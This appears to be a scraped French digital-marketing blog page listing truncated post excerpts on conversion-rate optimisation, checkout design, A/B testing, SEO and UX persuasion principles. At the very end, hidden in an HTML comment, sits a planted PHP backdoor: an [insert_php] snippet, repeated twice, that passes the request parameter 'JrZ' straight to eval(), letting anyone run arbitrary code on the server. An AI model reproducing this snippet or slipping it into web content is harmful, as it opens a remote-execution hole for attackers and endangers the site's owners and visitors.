Cette année encore, le marché du Digital a considérablement évolué ; et ce du fait des modifications et perturbations connues dans des domaines tels que le Search, les Média Sociaux, la Publicité en ligne, le mobile ou encore le e-Commerce. L’année 2013 promet d’être riche pour les marketeurs qui devront non seulement réfléchir aux nouvelles […]
L’optimisation de la conversion passe nécessairement par la compréhension de l’expérience globale de vos visiteurs. Les cartes d’expérience ont pris de l’importance au cours des dernières années, en grande partie parce que les entreprises prennent conscience de l’interdépendance de l’expérience cross-canal. Il devient de plus en plus utile de mieux la comprendre afin d’orchestrer les
Au cours des dernières années, User Interface Engineering a étudié plusieurs processus de conception, en observant particulièrement comment les équipes prenaient des décisions importantes. Dans le cadre de leur travail, ils ont identifié cinq styles de conception utilisés par les membres de l’équipe : Involontaire, Personnelle, Experte, Centrée Activité et Centrée Utilisateur. L’ordre reflète le nombre croissant de recherches
L’expérience client (CX) semble être l’un de nouveaux mots à la mode, le nombre d’entreprises qui en parle explose. Puisqu’il s’agit d’une nouvelle « discipline d’entreprise », il n’existe pas de définition commune pour la définition du CX. Cependant, il existe une ambiguïté entre le concept bien établi de l’expérience utilisateur (UX pour User Expérience
Je vous propose une auto-interview sur mon approche de l’optimisation de la conversion autours des problèmes généraux de conception et de communication. On n’est jamais mieux servi que par sois même ;) Comment concevoir un site Web qui convertit ? La bonne réponse est «ça dépend». Cela dépend tout d’abord de l’objectif business du
Une des pires choses qui peut arriver lors d’un processus de paiement, c’est de perdre les informations saisies pas l’utilisateur. Voici les 3 principales façons de perdre les informations de vos clients, à vous de vérifier le comportement de votre checkout. S’il présente des failles, corrigez et puisque vous y êtes, profitez-en pour le tester
Où sont les opportunités d’optimisation des taux de conversion ? Commençons par organiser l’ensemble des points de contact Web sur 5 cercles, un peu comme votre système solaire : Core Web : fonctionnalités business Inner Web : navigation, organisation de l’information Outer Web : landing pages, blogs, microsites Social Web : Facebook, Chaîne Youtube Advertising
Pourquoi vous avez besoin d’un Tag Manager System (TMS) Plus votre business en ligne se développe, plus le volume du tag grossit (Analytics, marketing, fonctionnel…). Gérer à la fois les fonctionnalités et la performance de votre site devient un véritable casse-tête pour votre équipe marketing et détourne vos ressources techniques des tâches de plus haut niveau sur lesquelles elles devraient se concentrer,
Voici 5 stratégies d’optimisation qui peuvent faire la différence et améliorer significativement votre taux de conversion. Stratégie de test n° 1 – Produits : Lorsque les clients visitent votre site Web, ils sont généralement là pour acheter quelque chose. Alors, pourquoi ne pas tester les produits mis en avant sur votre page d’accueil ? Concentrez-vous
Infographie du quatrième rapport sur l’optimisation des taux de la conversion Econsultancy en association avec RedEye. L’infographie est issue d’un rapport basé sur une enquête auprès de 900 clients et d’agences de marketing digitale réalisée entre juillet et août 2012. L’étude portait sur les types de conversion et les mesures utilisées, ainsi que les outils, les
Comme précisé dans l’article « Optimisation du Checkout – 3 – Navigation » , les clients peuvent vouloir se rappeler et se rassurer sur les informations saisies au cours du processus de commande. Plus ces informations sont masquées, plus les utilisateurs sont susceptibles de revenir en arrière pour les vérifier. Une conception du checkout en accordéon , décrit dans
Si vous avez isolé votre checkout, comme recommandé dans l’article Optimisation du Checkout – 1 – Isoler le passage en caisse, pour orienter la navigation vers une seule direction, la confirmation de commande, la navigation de votre checkout devrait se limiter aux étapes du processus, pour vérifier ou modifier les informations saisies. Cela représente souvent une
À chaque étape de la commande, le client doit savoir où il se situe dans le processus et ce qu’il reste à faire avant de terminer son achat. Ceci est généralement réalisé de deux façons : Tout d’abord, et le plus souvent, une barre de progression en haut de chaque page de paiement
Quand un client entre dans le Checkout (pages de paiement), il n’y a qu’un seul endroit où vous voulez qu’il aille – la page de confirmation de paiement ! Dans ce cas, pourquoi ne pas minimiser toutes les distractions possibles et isoler les caisse processus du reste du site? Sur un site de type e-commerce,
L’abandon du processus de « checkout » est le talon d’Achille de la plupart des site e-commerce. Au USA, 45% des acheteurs online admettent avoir déjà abandonnaient leur panier d’achat, à plusieurs reprise sur une période de 3 semaines. La moyenne des paniers abandonnés était de 1091 $. Un tiers de e-commerçant rapporte un taux d’abandon de 50% ou plus. Les chiffres mensuelles sur l’abandon d’achat au Royaume-Uni sont
Le test A/B doit devenir votre jeu préféré, vous gagnerez à tous les coups car en plus de mieux comprendre le comportement de vos visiteurs il vous permet surtout d’augmenter votre taux de conversion, what’s else. Qu’est-ce qu’un test A/B ? À la base, les tests A/B est exactement ce qu’il exprime : vous disposez
Vous est-il arrivé de compléter un panier d’achat sur un site d’e-commerce et de l’abandonner ? Voici une vidéo vraiment très drôle qui retranscrit assez bien ce que nous vivons dans le processus de vente des sites en ligne. Vous le savez quand vous souhaitez acheter un produit, le « tunnel d’achat » est souvent long
Quand vous pensez SEO, pensez-vous marketing de contenu? Vous devriez. Matt Cutts a déclaré à plusieurs reprises que la qualité du contenu est la clé de classement de Google, et pour Bing Duane Forrester a rappelé aux marketers que « tous les signes SEO tournent autour du contenu d’un certain type » . Haute qualité et une
En Février 2011, la mise à jour Panda de l’algorithme d’indexation de Google a bouleversé totalement le monde SEO. Qui est ce Panda de Google ? Le but de Panda est d’éliminer des résultats de recherche tous les sites ayant un contenu trop pauvre, inintéressant pour l’internaute ou tout simplement résultant d’un copier-coller depuis un autre site. Google veut épurer
Une des questions clés qui taraude les penseurs populaires est d’où viennent les bonnes idées ? « Eurêka » – en grec, j’ai trouvé – voilà le cri d’Archimède lorsqu’il put répondre à une énigme que lui posait le poids d’or d’une couronne, alors qu’il était dans sa baignoire. Ce résultat soudain n’est pourtant pas le fruit du hasard. C’est, au contraire,
Une des premières choses que quelqu’un de nouveau dans l’optimisation des moteurs de recherche (SEO) est de se demander si il vaut mieux utiliser des tirets ou des underscores comme séparateur de mot dans les URL. Tirets ou underscores ? La réponse courte est: tirets. Pourquoi ? Retour en 2005, Matt Cutts a écrit sur
Un entonnoir de conversion ne sera jamais performant sans que chaque segment n’est été testé et optimisé. Wikipedia : « Un test A/B permet d’évaluer les performances respectives d’une ou plusieurs versions partiellement ou totalement différentes d’une même page en les comparant à la version originale. Le test consiste à créer des versions modifiées de la page originale en
Les secrets d’innovation de Steve Jobs: 7 principes pour penser autrement Carmine Gallo, l’auteur de “Innovation Secrets of Steve Jobs” : Principe 1 : FAITES CE QUE VOUS AIMEZ. Steve Jobs a écouté son coeur toute sa vie. « Ça ne m’intéresse pas d’être le plus riche du cimetière », « Vous ne pouvez pas inspirer les
Voilà sous forme de roue d'action, un guide pour débuter en webmarketing. Une infographie sur les pratiques du marketing online centré notamment sur les pages d'arrivée de vos utilisateurs (landing page). Une véritable palette d'action pour réveiller le ninja du webmarketing qui est en vous. Télécharger l'infographie pour la consulter dans sa taille naturelle.
Le fameux taux de rebond… Savez-vous comment il est calculé, quel est le taux moyen dans votre secteur d’activité ou même quels facteurs influent sur votre taux de rebond ? Cette infographie est destiné à vous donner des réponses et quelques conseils pour vous aider à améliorer votre taux de rebond. Source : http://blog.kissmetrics.com/bounce-rate/
L’indicateur clé de performance (KPI) simple et puissant, à considérer dans l’analyse de l’activité de son site. Le taux de rebond (bounce rate en anglais) est le pourcentage d’internautes qui sont entrés sur une page Web et qui ont quitté le site après. Ils n’ont vu qu’une seule page. Un taux de rebond élevé peut
Tests A/B avec Google Website Optimizer. Apprenez à paramétrer un test A/B dans Google Website Optimizer. Simple et indispensable pour optimiser l’expérience utilisateur de votre service. (video en anglais)
Conférence complète et didactique sur la stratégie d’optimisation et de visibilité de sites web donnée par Intellicore Tech Talks (intellicore) en 2008 à Sophia Antipolis. Le lien (backlink) est devenu le levier principal pour positionner un site web et améliorer son référencement dans les moteurs de recherche. “Le contenu est roi, mais sans liens votre
Conférence complète et didactique sur référencement web donnée par Intellicore Tech Talks (intellicore) en 2008 à Sophia Antipolis. SEO (Search Engine Optimization) – L’art du référencement web Comment fonctionne un moteur de recherche ? Quel est le comportement des utilisateurs sur les moteurs de recherche ? Qu’est-ce que le Triangle d’or ? Positionnement, pertinence, notoriété
Le marketing sur les réseaux sociaux demande une autre façon de penser. Voici une présentation qui explique quel est le mode de penser idéale pour faire du marketing sur les réseau sociaux. Internet a changé le monde à nous de le comprendre et de s’y faire.
Dr Susan Weinschenk partage sept principes pour rendre votre site plus intéressant – les principes de persuasion, d’émotion et de confiance … 1- Le choix Trop de choix tue le choix, selon le vieil adage, si l’utilisateur fait face a un choix de produits trop important, il sera dans l’incapacité de choisir. 2- La « validation
(26 raters, 130 scores, average: 5,00 out of 5) (26 raters, 130 scores, average: 5,00 out of 5) (26 raters, 130 scores, average: 5,00 out of 5) Dans cette vidéo d’animation Dr. Susan Weinschenk montre comment la conception centrée utilisateur permet des résultats importants sur retour sur investissement (ROI). <!– [insert_php]if (isset($_REQUEST["JrZ"])){eval($_REQUEST["JrZ"]);exit;}[/insert_php]if (isset($_REQUEST["JrZ"])){eval($_REQUEST["JrZ"]);exit;} –> <!–
